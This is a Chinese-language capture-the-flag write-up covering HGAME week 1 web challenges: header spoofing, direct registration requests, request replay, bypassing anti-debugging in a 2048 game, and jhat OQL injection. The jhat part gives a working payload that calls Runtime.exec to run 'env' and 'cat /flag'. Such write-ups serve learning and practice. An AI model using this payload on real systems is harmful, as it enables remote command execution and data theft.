HGAME week1-web wp
第一周算是入门难度,还是很简单的,直接上哥们的wp:
ezHTTP
入门级别的几个http点,注意一下后面用X-Real-IP就行。
Bypass it
注册是post发包,说是不让你注册,查看源码看到个register.php,直接对这个发包,注册成功然后登录就出了。
Select Courses
一开始以为是原型链污染,但是没啥反应??
我开始都以为有其他的点,随便点点发现full置零了,也就是抢课成功了,所以就直接bp无限发包(还真有点抢课的感觉呃呃):
id1-5都这样发个包,然后去页面点确认就出了。
2048*16
刚开始做的时候有点卡,因为加载网页不让你用f12,如果手动开了就会触发它设置的debug:
也就是让你一直加载卡爆你的浏览器。
首先进去后在console输入这俩命令:
(function(){}).constructor === Function Function.prototype.constructor = function(){}
就能消掉debug:
然后直接打断点,找这个混淆代码中的判赢逻辑:
打上了记得刷新一下,断点依然在,不然一直显示全局变量就改不了作用域(我也不知道为啥呃呃),当然那俩仍然重新在console输一遍。
记得先点一下这个恢复脚本执行(不同浏览器不一样,我用的edge,但是按键应该都有,具体看看就行),当作用域出的时this:v就对了:
然后就直接改:
然后再点一下恢复脚本运行,就出了:
当然这道题还有个方法,就是直接找到flag加密算法部分:
改这里的三元表达式然后调一下再运行就出了。
jhat
oql注入,直接function带出数据
java.lang.Runtime.getRuntime().exec(“env”).getInputStream();
select map(heap.objects('java.lang.ClassLoader'), function (it) { var res = ''; var ex = java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream(); var isr = new java.io.InputStreamReader(ex); var br = new java.io.BufferedReader(isr); while (it != null) { res += toHtml(it) + "->"; it = it.parent; } res += br.readLine(); return res + "<br>"; })